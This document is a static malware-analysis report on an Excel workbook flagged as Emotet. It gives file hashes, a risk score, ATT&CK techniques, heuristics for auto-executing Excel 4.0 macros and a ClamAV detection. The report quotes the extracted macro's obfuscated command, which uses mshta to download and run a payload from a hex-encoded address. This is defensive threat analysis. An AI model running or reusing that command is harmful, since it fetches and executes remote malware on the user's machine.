Emotet — Office (OLE) / .XLSX malware analysis

Static analysis result for SHA-256 f7c86caa5c6f79d9…

MALICIOUS

Office (OLE) / .XLSX

100.5 KB Created: 2022-01-21 14:27:47 Authoring application: Microsoft Excel
MD5: 25e455a428a834c7f5a34506c482f684 SHA-1: e9bd5b50b8638993a05f9ab886ad88fc8d8f5a96 SHA-256: f7c86caa5c6f79d98b8e08d0cf09cbcfb6c9e3770fe005c41d9c0b0af48de130
140 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Service Execution: Visual Basic T1204.002 Malicious File: Malicious File

The critical heuristics OLE_XLM_AUTOOPEN and OLE_XLM_AUTOOPEN_DEFINEDNAME indicate the presence of Excel 4.0 macros designed to auto-execute. The extracted macro script contains a string literal 'cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fe3.html', which is a command to download and execute a payload from the specified URL. ClamAV detection further confirms this is Emotet.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • ClamAV: Xls.Downloader.Emotet-bd646319c2d29cd6-9951195-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Downloader.Emotet-bd646319c2d29cd6-9951195-0
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt
cd5d6e3253e3a898dc9d63d15113da3fd9fff8e87bda9543bb3d23d907be4b46		 xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 2903 bytes

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